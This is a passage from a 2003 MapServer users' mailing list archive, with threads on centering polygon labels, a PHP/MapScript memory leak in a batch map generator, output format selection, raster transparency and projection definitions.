v+O+g/GgQ+Ibb+2rvR9S/tjxbZeJnp/W39fI8/ky+q06VavhJt2Ua0fa042+061Llmr6bUXZ9bam D4Y+OvxV8KaHZeFLPxT/AG74L0r7U+j+AfiBofhz4o/DrRLy8vLi+uNX0L4efEvSPFngnRNfe5vd SYeItJ0Gz12OLWNdt49QS21zV4r3fHjD4BeJjjxR8G9f+H9/N/xLodT+DHxC1N/C2j2cg/d+IdQ+ H3xftviV4m8Y6/p89xcXF1pVj8bPhzoXiHTrLStFtn8IX51PxbfL/wAIv8AfGAM/hj4l6/8ACO/k /fy+H/jPoGpeLfC2nWdv/okltYfFX4PeHdW8S+J9f1CY2+r2tjffs9+BdD0/T59U0u58T3uoaHpt 54wT43/sxfHH9nA+Fx8Z/BH/AAhp8Z/23/wjWfEvhDxD/aX/AAjv9k/2x/yKmv679j+x/wBu6V/x /m1+0fav9FM/kXPkp/nt52XT0X3eR2KOaU4RcVDH4flvF2hi4Knd/wAylVo8yTVnySttqrgPg54X 8Ufv/hV8ZPAXiHzMTJ4X+J9/p3wG8c6fp8P+i3moa5cePdZ/4Ut/yEvKXTNF8I/HHxn4o1HSNQ0/ WJNAsfsvimx8LeZeNPh/48+HGqQaH8Q/BPi7wHrV1YRarbaP4z8N6z4X1S50ue5u7ODUrfT9csrG 7msJruwvraK8iie2kuLO6hSUyW8qpyP+f/116b4M+MnxM8A6XP4d8N+Lr9PB97qEuq6r8PtbhsPF vwy13VJbe1tv7S8SfDHxbaa38P8AxLqFuun6ZcWN5r3hvUbnT7/SNF1OxlttR0bS7qzDj9pl1f8A iUKuEn/Ph5e1pWWy9jVaneXWXtrJq6jqzzKive/+Fq/DvxTz8UfgnoF5fn/SLnxX8F9Yh+B/ijU7 yH/RrG2v9Cg8O+N/gfp+gQaY32e6sfBvwT8Ia7qeo2Gla3f+KJtQk8UN4q3/AAx+z/onxf12x8K/ s9fEn/hO/GmqG6t9F+GPxA8HXfwu+IviS90uzuNZ1q60Gex1r4h/B+Lw/pvh22u9VF94r+MnhTXb 2XR9c0218Ltcp4cbxSf1/Xn/AErgsvlVTlhK1LEpWvC/sq0btqMXTqW5pO21OU9dE3ofMtFb/irw zrngnxR4l8F+J7I6Z4m8Ia/rHhjxFpv2q0vf7O13QNRutK1ax+2afPd2F39kv7S4g+02N3dWc/lm W2uJoXSRsCg4alKpRm6dWEqc47xmnGS+TCiiiggKKKKACiiv1l+D3/BOi58Nai2p/tNr5N9afZZb X4R+F/EUZv4ryG/+1Y+IvivSrO+0kaDqmkw2TQaL8OPEV1rup6d4gmmuPG/w+1zQBpuqzKSgrv5L q/RdT2slyDMc9rqjgqLcFJKriJ6UaN7P35d7O/Krya2R8AfBf4CfEn49a1e6T4A0q0ks9F/s2XxP 4n1vUbbRvC/hay1S7Ntb3Wq6ncsZbu6eKHUdRs/Dfh601zxlrmnaNrdx4a8N602kX0cP7Q/BP9l7 4S/AmG0vdJ0218ffEC0upbyP4peMNAhg1awl+22l9pg8H+EJta8T+HPA11oM2m6dcaX4osZ9T+IN trKapqWn+NNJ0fWIvC2k/QUAgstM0/Q9LsdL0Pw/pH2v+x/Dfh3SNM8OeGdG/tC4N5qP9jeG9CtN P0PSf7Rvmkv9R/s6wtvt+oTT395515PNM6VzTquei92Ltp1+b/T8WfuPDvBGWZIo16yjjsetfrFW C5KT7UKTclFp/wDLyXNPrHk1Qe/0H+efr/8AqxRRRWR9rsFFFFABRRRQAUUUUAFFFFABRRXJePfH /gr4WeEbzx38RNbl0HwzZ6hbaNFNaaTqOt6nrPiG/wBL1vWdL8MaJp2nwtEda1nT/Dettptxr9/4 d8KxXFksGueKNES6tp5TVtJJu/b+v66mVatSw9KdavUjSpU4uU6k2oxjFdW3+CWrei1aT7OOB5Ib +6JjgsdJsLrV9X1G7mhs9L0XR7FRJqGs63ql3JBp+jaLp0J8/U9Y1O5tNN062D3N7dQQo0g/Lf8A aE/b5kO7wp+zfqeq6XCDqNr4i+KepaFZafrWoDF5p0Nt8NbTUv7Q1LwppbL5XiKx8f3EHhv4n/a3 0aHS9N+HE+ia0niv5Y/aI/ao8b/tBzWOl3en2HgzwBomoXGoaL4H0O6v7qG4vt97baf4h8X6rfTN L4o8XWeiXf8AZCajDZ6H4d09JdYuPCvhHwq3ibxJFqnzBXTCilrPV7pdF692n8vXc/FuKvECri/a YDJJSoYbWFXGpuNauno1RWjpU5LTm+OS2cU7NenT09MYz1A/xFJRRW5+XNuTbk3Jvdttt+reoufz znP/ANakoooEFFFFABRRRQB//9k= ------=_NextPart_000_0005_01C2C917.8825BAC0-- From morissette at dmsolutions.ca Fri Jan 31 08:10:55 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 31 Jan 2003 11:10:55 -0500 Subject: [Mapserver-users] centering labels References: <000901c2c941$714cc8f0$9601a8c0@emasi.com> Message-ID: <3E3AA00F.C1CCC8CB@dmsolutions.ca> > Jim Burnett wrote: > > I'm trying to get my labels to center on my parcel layer. The layer is > a polygon layer. > Here is my layer def. And a screenshot of what is happening. > > LAYER > NAME ParcelLabels > TYPE line You write that the layer is a polygon layer but your LAYER defn uses TYPE LINE, so the labels are placed along the lines (polygon boundaries). Changing to TYPE POLYGON will probably do what you need: place the labels at the polygon centers. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From pramsey at refractions.net Fri Jan 31 08:18:05 2003 From: pramsey at refractions.net (Paul Ramsey) Date: Fri, 31 Jan 2003 08:18:05 -0800 Subject: [Mapserver-users] How to make labels in MS with PostGIS In-Reply-To: References: Message-ID: <3E3AA1BD.4040802@refractions.net> Same as with any other data source. Declare a labelitem and add a label object to your class object. Should be examples in the map file reference page. The only potential gotcha is that your labelitem attribute should be given in lower case. christian.schuster at rsag.ch wrote: > > Hi list, > > I have a table 'geo' with a geometry column, a column 'name' as > varchar(20) and an ID column as the Primary Key. Is it possible to use > the text in the column 'name' as the label text and if so what does the > layer look like in the map file. > > Thanaks for helping > > Christian Schuster > > Rudolf Schuster AG > Postfach 277 > CH - 3000 Bern 11 > > http://www.rsag.ch > ++41 31 348 05 30 -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From lfilak at medinaco.org Fri Jan 31 09:09:30 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 31 Jan 2003 12:09:30 -0500 Subject: [Mapserver-users] PHP undef WAS: Memory Leak? Message-ID: <200301311705.h0VH5kR19870@yogi.medinaco.net> I will have to forward that request back to the list for the PHP folks to answer. Anyone who can help, please reply to germangutierrezg at yahoo.es . Thank you. The following message was sent by "Juanse" on Fri, 31 Jan 2003 10:40:56 -0300. > yes it is, but how to undef/close/destroyed? which command it is not in the > docs. > > > juanse > temuko-chile > > ----- Original Message ----- > From: Lowell Filak > To: Juanse ; Mapserver-Users > > Sent: Friday, January 31, 2003 10:38 AM > Subject: Re: [Mapserver-users] Memory Leak? > > > > Shot in the dark, but is there a possibility that after a map is created > the mapObj is not being undef/closed/destroyed and that is the leak your > seeing? > > Lowell F. > > > > The following message was sent by "Juanse" on Fri, 31 Jan > 2003 10:27:27 -0300. > > > > > Hi everyone > > > > > > We have build this "mapmaker machine" scripting mapserver with php. > > > > > > The mapmaker machine need to do 2322 maps, comprised of a.- the map, b > the > > > legend, c.- the reference map. > > > The application created the regional map (10 layers, 2 with thematic > clases) > > > then centers over the specified spot (center of each of 2322 polygons in > one > > > of the layers stored in postgresql). > > > Then mapserver render the 3 images (png) and stores the *.png files in a > > > file and the file names in the speceified columns in the postgresql > table. > > > > > > if one check the process (top) the memory fill up after 90 spots, and > then > > > the whole machine work very slowly (20 maps per night). At this speed we > > > need more than a 100 days to finish? > > > > > > Is there any command to free mapserver from memory? Does mapserver have > any > > > know memory leaks? > > > > > > > > > Juanse > > > temuko-Chile > > > > > > > > > > > > --- > > > Outgoing mail is certified Virus Free. > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > Version: 6.0.445 / Virus Database: 250 - Release Date: 21/01/03 > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.445 / Virus Database: 250 - Release Date: 21/01/03 From pram at pramcentral.com Fri Jan 31 09:06:27 2003 From: pram at pramcentral.com (Prashanth Ram) Date: Fri, 31 Jan 2003 12:06:27 -0500 Subject: [Mapserver-users] JpGraph + Mapserver 3.6.3 + php_mapscript Message-ID: <3E3AAD12.B61C64C5@pramcentral.com> Hi folks.. Has anyone tried to get JpGraph (1.x) and Mapserver + php_mapscript (3.6.3) working together on the same box. When I turn the php_mapscript extension on, JpGraph does not work, and when I turn it off php_mapscript does not work! Does anyone have any solutions for this problem? Thanks.. -Prashanth From morissette at dmsolutions.ca Fri Jan 31 09:22:16 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 31 Jan 2003 12:22:16 -0500 Subject: [Mapserver-users] PHP undef WAS: Memory Leak? References: <200301311705.h0VH5kR19870@yogi.medinaco.net> Message-ID: <3E3AB0C8.E7DB3264@dmsolutions.ca> Lowell Filak wrote: > > I will have to forward that request back to the list for the PHP folks to answer. > Anyone who can help, please reply to germangutierrezg at yahoo.es . > Thank you. > > The following message was sent by "Juanse" on Fri, 31 Jan 2003 10:40:56 -0300. > > > yes it is, but how to undef/close/destroyed? which command it is not in the > > docs. > > The garbage collection should happen automagically in PHP when the variable is overwritten or becomes out of scope... but there are always chances that something is not being cleaned up properly, or that some resources (PHP terminology for internal data structures) may not be registered or cleaned properly. I think this will have to be investigated further, but unfortunately we don't have much time for that now. You may want to file a bug about this. In the meantime, you could launch a new PHP instance for each map in a loop using the system() call, e.g. I know this is a hack, but at least this way you'll be able to get your maps done and won't have to wait for a fix. A new process will be started by system() for each map and you won't run into issues because of memory leaks. -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From r000t at adelphia.net Fri Jan 31 09:27:37 2003 From: r000t at adelphia.net (Jim Burnett) Date: Fri, 31 Jan 2003 12:27:37 -0500 Subject: [Mapserver-users] centering labels References: <000901c2c941$714cc8f0$9601a8c0@emasi.com> <3E3AA00F.C1CCC8CB@dmsolutions.ca> Message-ID: <001601c2c94e$0ce8f160$9601a8c0@emasi.com> Ok I tried that and it got a little better but here is another screenshot. They still seem scattered Of and FYI I turn this layer ON dynamically. Do I need to do something with position? http://www.freegishosting.com/tmp/1044034021.jpg or just goto http://www.freegishosting.com/va_washington.php to paly with it. Make sure you turn on the parcel label layer. -Jim LAYER NAME ParcelLabels TYPE polygon STATUS Off DATA parcels LABELITEM DXF_TEXT CLASSITEM 'DXF_TEXT' CLASS EXPRESSION /./ NAME 'featureid' #COLOR 0 0 0 OUTLINECOLOR 0 0 0 NAME 'streetnameid' LABEL PARTIALS true COLOR 255 255 255 TYPE bitmap POSITION auto PARTIALS FALSE END END TOLERANCE 0 END ----- Original Message ----- From: "Daniel Morissette" To: "Jim Burnett" Cc: Sent: Friday, January 31, 2003 11:10 AM Subject: Re: [Mapserver-users] centering labels > > Jim Burnett wrote: > > > > I'm trying to get my labels to center on my parcel layer. The layer is > > a polygon layer. > > Here is my layer def. And a screenshot of what is happening. > > > > LAYER > > NAME ParcelLabels > > TYPE line > > You write that the layer is a polygon layer but your LAYER defn uses > TYPE LINE, so the labels are placed along the lines (polygon > boundaries). Changing to TYPE POLYGON will probably do what you need: > place the labels at the polygon centers. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jose.quintal at cfe.gob.mx Fri Jan 31 07:05:15 2003 From: jose.quintal at cfe.gob.mx (jose.quintal at cfe.gob.mx) Date: Fri, 31 Jan 2003 09:05:15 -0600 Subject: [Mapserver-users] Zoom rectangle Example Message-ID: It can say somebody to me where there is an example or like making zoom lens of rectangulo. I use Windows 2000, IIS, Mapserver 3.6.3 with PHP/Mapscript 4.2.2 Thanks Jos? Antonio Quintal Castillo Sistemas From morissette at dmsolutions.ca Fri Jan 31 09:41:05 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 31 Jan 2003 12:41:05 -0500 Subject: [Mapserver-users] centering labels References: <000901c2c941$714cc8f0$9601a8c0@emasi.com> <3E3AA00F.C1CCC8CB@dmsolutions.ca> <001601c2c94e$0ce8f160$9601a8c0@emasi.com> Message-ID: <3E3AB531.C427F0F9@dmsolutions.ca> Jim Burnett wrote: > > Ok I tried that and it got a little better but here is another screenshot. > They still seem scattered Perhaps try POSITION CC. With POSITION AUTO, MapServer tries to make a best guess as to which position relative to the calculated polygon center would be best to avoid collisions with other labels, etc. It would seem that this is not what you want, forcing POSITION CC may be closer to what you are looking for. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From georef at tie.cl Fri Jan 31 10:03:35 2003 From: georef at tie.cl (Juanse) Date: Fri, 31 Jan 2003 15:03:35 -0300 Subject: [Mapserver-users] PHP undef WAS: Memory Leak? Extention References: <200301311705.h0VH5kR19870@yogi.medinaco.net> Message-ID: <010401c2c953$1413b6a0$0500a8c0@temuko.cl> Here is cloudy, no rain, high humidity, mild, some 22?C, no electricity or phone/internet problems envisaged, and we are at tuple 169 after 24 hours of process. We really need to increase speed. All 2322 tuples must be proceed for next monday, so to create the pdf files to print before next friday, so the Final Report ships to santiago and is there on monday. We foresee a 31 volumenes 7000 pages long document. Uff! We are running redhat linux apache server over a PIII 750 MHz, 256 Mb Ram, 40 Gb HD. We have asssembled PostgreSQL/GIS with Mapserver and are scripting with PHP. The spatial backend have 15 tables. 1 of 88000 tuples, and the rest between 1.000 and 10.000 tuples. All are Gist indexed. We will try now daniel morisette system() approach, in the mean time for any other guru's opinion here goes the code: setextent($extension["minx"],$extension["miny"],$extension["maxx"] ,$extension["maxy"]); $sal = $punto->setXY($mapa_x,$mapa_y); $zoom = empty($factor) ? 1 : $factor; $map->zoompoint($zoom,$punto,$map->width, $map->height, $pre_ext); } } } $conexion = pg_connect("dbname=evidencia user=postgres password=pgsql"); $map = ms_newMapObj("eviden2.map"); $act = "select xmin(the_geom) as minx, xmax(the_geom) as maxx, ymin(the_geom) as miny, ymax(the_geom) as maxy, gid from titulosmerced_araucania where imagen is null and usurpada > 0 and gid > 0 order by gid "; $resultado = pg_exec($conexion,$act); for($i=0;$extension = pg_fetch_array($resultado,$i);$i++) { $capa = $map->getLayer(15); $titulo = $capa->getClass(0); $titulo->setexpression("\"". $extension["gid"] ."\""); $mapa_x = $map->width / 2; $mapa_y = $map->height / 2; navegar($map,$zoom,$extension,$mapa_x,$mapa_y); $img1 = $map->draw(); $url_mapa = $img1->saveWebImage(MS_PNG, 0, 0, 0); $img = $map->drawScaleBar(); $url_escala = $img->saveWebImage(MS_PNG, 0, 0, 0); $img = $map->drawReferenceMap(); $url_referencia = $img->saveWebImage(MS_PNG, 0, 0, 0); /* $img = $map->drawLegend(); $url_leyenda = $img->saveWebImage(MS_PNG, 0, 0, 0); */ $updt = "update titulosmerced_araucania set imagen='". $url_mapa . "', escala='". $url_escala . "', referencia='" . $url_referencia . "' where gid=".$extension["gid"] . "\n"; pg_exec($conexion,$updt); echo $updt; } ?> After processing some 50 tuples, starting at 2 tuples per minute, the memory is full and the process follows at less than one tuple per hour. juanse temuko-Chile ----- Original Message ----- From: Lowell Filak To: Sent: Friday, January 31, 2003 2:09 PM Subject: [Mapserver-users] PHP undef WAS: Memory Leak? > I will have to forward that request back to the list for the PHP folks to answer. > Anyone who can help, please reply to germangutierrezg at yahoo.es . > Thank you. > > The following message was sent by "Juanse" on Fri, 31 Jan 2003 10:40:56 -0300. > > > yes it is, but how to undef/close/destroyed? which command it is not in the > > docs. > > > > > > juanse > > temuko-chile > > > > ----- Original Message ----- > > From: Lowell Filak > > To: Juanse ; Mapserver-Users > > > > Sent: Friday, January 31, 2003 10:38 AM > > Subject: Re: [Mapserver-users] Memory Leak? > > > > > > > Shot in the dark, but is there a possibility that after a map is created > > the mapObj is not being undef/closed/destroyed and that is the leak your > > seeing? > > > Lowell F. > > > > > > The following message was sent by "Juanse" on Fri, 31 Jan > > 2003 10:27:27 -0300. > > > > > > > Hi everyone > > > > > > > > We have build this "mapmaker machine" scripting mapserver with php. > > > > > > > > The mapmaker machine need to do 2322 maps, comprised of a.- the map, b > > the > > > > legend, c.- the reference map. > > > > The application created the regional map (10 layers, 2 with thematic > > clases) > > > > then centers over the specified spot (center of each of 2322 polygons in > > one > > > > of the layers stored in postgresql). > > > > Then mapserver render the 3 images (png) and stores the *.png files in a > > > > file and the file names in the speceified columns in the postgresql > > table. > > > > > > > > if one check the process (top) the memory fill up after 90 spots, and > > then > > > > the whole machine work very slowly (20 maps per night). At this speed we > > > > need more than a 100 days to finish? > > > > > > > > Is there any command to free mapserver from memory? Does mapserver have > > any > > > > know memory leaks? > > > > > > > > > > > > Juanse > > > > temuko-Chile > > > > > > > > > > > > > > > > --- > > > > Outgoing mail is certified Virus Free. > > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > > Version: 6.0.445 / Virus Database: 250 - Release Date: 21/01/03 > > > > > > > > _______________________________________________ > > > > Mapserver-users mailing list > > > > Mapserver-users at lists.gis.umn.edu > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > --- > > Outgoing mail is certified Virus Free. > > Checked by AVG anti-virus system (http://www.grisoft.com). > > Version: 6.0.445 / Virus Database: 250 - Release Date: 21/01/03 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.445 / Virus Database: 250 - Release Date: 21/01/03 From r000t at adelphia.net Fri Jan 31 10:14:24 2003 From: r000t at adelphia.net (Jim Burnett) Date: Fri, 31 Jan 2003 13:14:24 -0500 Subject: [Mapserver-users] centering labels References: <000901c2c941$714cc8f0$9601a8c0@emasi.com> <3E3AA00F.C1CCC8CB@dmsolutions.ca> <001601c2c94e$0ce8f160$9601a8c0@emasi.com> <3E3AB531.C427F0F9@dmsolutions.ca> Message-ID: <00ab01c2c954$95abb810$9601a8c0@emasi.com> That seemed to work much better. Thanks Daniel. -jim ----- Original Message ----- From: "Daniel Morissette" To: "Jim Burnett" Cc: Sent: Friday, January 31, 2003 12:41 PM Subject: Re: [Mapserver-users] centering labels > Jim Burnett wrote: > > > > Ok I tried that and it got a little better but here is another screenshot. > > They still seem scattered > > > Perhaps try POSITION CC. With POSITION AUTO, MapServer tries to make a > best guess as to which position relative to the calculated polygon > center would be best to avoid collisions with other labels, etc. It > would seem that this is not what you want, forcing POSITION CC may be > closer to what you are looking for. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > From ed at topozone.com Fri Jan 31 13:01:35 2003 From: ed at topozone.com (Ed McNierney) Date: Fri, 31 Jan 2003 16:01:35 -0500 Subject: [Mapserver-users] Querystring parameters for selecting OUTPUTFORMAT Message-ID: <13858AA1A74F30419F319ACB66A9D1220195BD@mercator.topozone.com> Folks - I'm trying to use the new OUTPUTFORMAT support in 3.7 and I'm getting lost. Specifically, I'm trying to define several named OUTPUTFORMATs in the MAP file and select one through a querystring parameter. First, if there's already a way to do this, let me know because I couldn't find it. I can define multiple OUTPUTFORMATs but I only get either the first one or the one specified in the IMAGETYPE statement. I added code to mapserv.c in the "obvious place" where the CGI form variables are parsed; this looks for an IMAGETYPE variable and sets msObj->Map->imagetype to that string value. However, it appears that in the earlier processing of the MAP file, the outputformats are enumerated and the default selected. My setting of msObj->Map->imagetype has no effect because it seems the decisions' already been made. There's a lot of new code here and I'm wandering through it but haven't found the answer yet. Any pointers would be appreciated - thanks! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 From morissette at dmsolutions.ca Fri Jan 31 13:16:41 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 31 Jan 2003 16:16:41 -0500 Subject: [Mapserver-users] Querystring parameters for selecting OUTPUTFORMAT References: <13858AA1A74F30419F319ACB66A9D1220195BD@mercator.topozone.com> Message-ID: <3E3AE7B9.B837C033@dmsolutions.ca> Ed McNierney wrote: > > Specifically, I'm trying to define several named OUTPUTFORMATs in the MAP file and select one through a querystring parameter. First, if there's already a way to do this, let me know because I couldn't find it. > I dunno. I'll leave that one to Steve or Frank. > I can define multiple OUTPUTFORMATs but I only get either the first one or the one specified in the IMAGETYPE statement. I added code to mapserv.c in the "obvious place" where the CGI form variables are parsed; this looks for an IMAGETYPE variable and sets msObj->Map->imagetype to that string value. However, it appears that in the earlier processing of the MAP file, the outputformats are enumerated and the default selected. My setting of msObj->Map->imagetype has no effect because it seems the decisions' already been made. > You'll have to call msSelectOutputFormat() for the output format change to take effect. -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From ed at topozone.com Fri Jan 31 13:19:02 2003 From: ed at topozone.com (Ed McNierney) Date: Fri, 31 Jan 2003 16:19:02 -0500 Subject: [Mapserver-users] Querystring parameters for selecting OUTPUTFORMAT Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3C37@mercator.topozone.com> Daniel - Thanks - Frank's already pointed me in the right direction, and I'll pass the code on to him for checkin when it's tested. - Ed -----Original Message----- From: Daniel Morissette [mailto:morissette at dmsolutions.ca] Sent: Friday, January 31, 2003 4:17 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Querystring parameters for selecting OUTPUTFORMAT Ed McNierney wrote: > > Specifically, I'm trying to define several named OUTPUTFORMATs in the MAP file and select one through a querystring parameter. First, if there's already a way to do this, let me know because I couldn't find it. > I dunno. I'll leave that one to Steve or Frank. > I can define multiple OUTPUTFORMATs but I only get either the first one or the one specified in the IMAGETYPE statement. I added code to mapserv.c in the "obvious place" where the CGI form variables are parsed; this looks for an IMAGETYPE variable and sets msObj->Map->imagetype to that string value. However, it appears that in the earlier processing of the MAP file, the outputformats are enumerated and the default selected. My setting of msObj->Map->imagetype has no effect because it seems the decisions' already been made. > You'll have to call msSelectOutputFormat() for the output format change to take effect. -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From shostko at ureach.com Fri Jan 31 13:32:00 2003 From: shostko at ureach.com (Alexander Shostko) Date: Fri, 31 Jan 2003 16:32:00 -0500 Subject: [Mapserver-users] php as a module Message-ID: <200301312132.QAA05319@www21.ureach.com> Dear Mapserver Users ! I am using mapscript 3.7 and apache.1.2.23 , php4.3.0. When I am trying to run gmap demo it tells me that I have to use php as cgi, not as a module (currently it is included as a module). Can I use it as a module if I go to higher versons of APAche or php.4.3.+ Thanks Alexander Shostko engineer Simulation Technologies From rjames57 at yahoo.com Fri Jan 31 13:51:26 2003 From: rjames57 at yahoo.com (randy james) Date: Fri, 31 Jan 2003 13:51:26 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow - FIX In-Reply-To: <3E38601C.9060008@nacse.org> Message-ID: <20030131215126.95274.qmail@web12502.mail.yahoo.com> Hi List An update on my problem: I just discovered that if i use the transparency option i can load geotiff rasters UNDER all the vector layers without making all the vectors turn gray. Even if the transparency = 100 Before i discovered this i had to load the geotiff layer on top of all the layers otherwise the vectors changed their color to gray. Not sure why it makes a differance but at least it works Cheers Randy --- Dylan Keon wrote: > Randy, what versions of GD and GDAL are you using? > I believe there are > issues with vector layers and the use of GD < 2.0.11 > with MS 3.7. Since > you're using MS 3.7 you should probably also be > using GD 2.0.11 and GDAL > 1.1.8. > > Yes, both tiled and single raster layers can be made > transparent. There > are also new ways to handle transparency and image > output in 3.7, via > use of the OUTPUTFORMAT object. Take a look at > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide > for more info. > > > > randy james wrote: > > Hi > > > > To answer my own question: Rasters can be made > > transparent using the TRANSPARENCY (0-100) tag. > > > > I have tried with a raster layer loaded through > > tileindex, but not with loading a raster the > normal > > way yet. > > > > But i would hope that at some point i will be able > to > > load the orthophotos under the vectors without > been > > transparent, rather than on top of the vectors and > > transparent. > > > > > > --- randy james wrote: > > > >>Hi > >> > >>Upgrading to 3.7 solved the problem of the tiff > >>image > >>turning the background yellow, but caused another > >>problem: > >> > >>Any vector layer that is loaded on top if the tiff > >>image now turns gray. When i load the vectors > after > >>the tiff nothing changes color at least, but i > >>cannot > >>see the vector layers. > >> > >>Can Raster layers be transparent? > >> > >>Cheers > >>Randy > >> > >> > >>--- Frank Warmerdam wrote: > >> > >>>randy james wrote: > >>> > >>>>Hi > >>>>--- Ed McNierney wrote: > >>>> > >>>> > >>>>>Randy - > >>>>> > >>>>>Can you describe exactly what you did > >>>> > >>differently > >> > >>>>>between those two images? > >>>>> > >>>> > >>>>Well the difference is: > >>>>the tif that does not work has: a 256 RGB, > >>>>colorinterp=palette, is projected on the fly, > >>> > >>and > >> > >>>is a > >>> > >>>>newer version of an orthophoto. > >>>>I have used tiff2bw and gdal_translate to make > >>> > >>it > >> > >>>>grayscale, so i have a few versions of the file > >>> > >>>(5), > >>> > >>>>and all make the same error. > >>> > >>>Randy, > >>> > >>>I haven't been following this issue closely, but > >> > >>if > >> > >>>the problem occurs in > >>>3.7 and if you can prepare a small test case that > >>>demonstrates the problem > >>>just using "shp2img" then please file it in > >> > >>bugzilla > >> > >>>(attaching the small > >>>sample map file and data file(s)) and assign to > >> > >>me. > >> > >>>Best regards, > >>> > >>>-- > >>> > >> > > > ---------------------------------------+-------------------------------------- > > > >>>I set the clouds in motion - turn up | Frank > >>>Warmerdam, warmerdam at pobox.com > >>>light and sound - activate the windows | > >>>http://pobox.com/~warmerdam > >>>and watch the world go round - Rush | > >> > >>Geospatial > >> > >>>Programmer for Rent > >>> > >>> > >> > >> > >>__________________________________________________ > >>Do you Yahoo!? > >>Yahoo! Mail Plus - Powerful. Affordable. Sign up > >>now. > >>http://mailplus.yahoo.com > >>_______________________________________________ > >>Mapserver-users mailing list > >>Mapserver-users at lists.gis.umn.edu > >> > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > __________________________________________________ > > Do you Yahoo!? > > Yahoo! Mail Plus - Powerful. Affordable. Sign up > now. > > http://mailplus.yahoo.com > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- > ************************************************ > Dylan Keon > GIS/Database Research Specialist > Northwest Alliance for Computational > Science and Engineering (NACSE) > Oregon State University > Corvallis, OR 97331 > keon at nacse.org (541) 737-6608 > ************************************************ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From Chip.Hankley at GASAI.Com Fri Jan 31 13:59:45 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Fri, 31 Jan 2003 15:59:45 -0600 Subject: [Mapserver-users] Projection woes... Message-ID: <3DFF131E4E6D2D4198CDD758F35A535302785354@postoffice.GASAI.Com> I'm having trouble with a datum transformation. Most of my layers are Wisconsin State Plane South, NAD27. I have all of these, as well as my mapfile, described with the following: PROJECTION "init=epsg:32054" END I have one other layer, that uses a custom TM projection, NAD83. I have defined this layer as such: LAYER NAME streams GROUP "Natural Resources" METADATA LYRNAME "Streams" END PROJECTION "proj=tmerc" "lat_0=0" "lon_0=-90" "k=0.9996" "x_0=520000" "y_0=-4480000" "ellps=GRS80" "datum=NAD83" "units=m" "no_defs" END DATA streams_testWTM TYPE LINE CLASS COLOR 255 0 0 END END I know that this projection definition for the custom layer is right because I've used it in other mapfiles, albeit sans the datum transformation. When I fire up the mapfile, the layers just doesn't draw. When I zoom out, it doesn't show up anywhere near my other layers (I never see it at all). Any ideas what could be wrong? Chip Hankley - GIS Coordinator Graef, Anhalt, Schloemer & Associates, Inc. 5126 West Terrace Drive Madison, Wisconsin 53718-8949 PHONE 608.245.1969 FAX 608.242.0787 MOBILE 414.412.8349 chip.hankley at gasai.com http://www.gasai.com From rjames57 at yahoo.com Fri Jan 31 14:24:40 2003 From: rjames57 at yahoo.com (randy james) Date: Fri, 31 Jan 2003 14:24:40 -0800 (PST) Subject: [Mapserver-users] Projection woes... In-Reply-To: <3DFF131E4E6D2D4198CDD758F35A535302785354@postoffice.GASAI.Com> Message-ID: <20030131222440.1996.qmail@web12502.mail.yahoo.com> Hi Have you tried to define the: lat_1= lat_2= lat_0= lon_0= rather than the no_defs Cheers Randy --- "Hankley, Chip" wrote: > I'm having trouble with a datum transformation. Most > of my layers are > Wisconsin State Plane South, NAD27. I have all of > these, as well as my > mapfile, described with the following: > > PROJECTION > "init=epsg:32054" > END > > I have one other layer, that uses a custom TM > projection, NAD83. I have > defined this layer as such: > > LAYER > NAME streams > GROUP 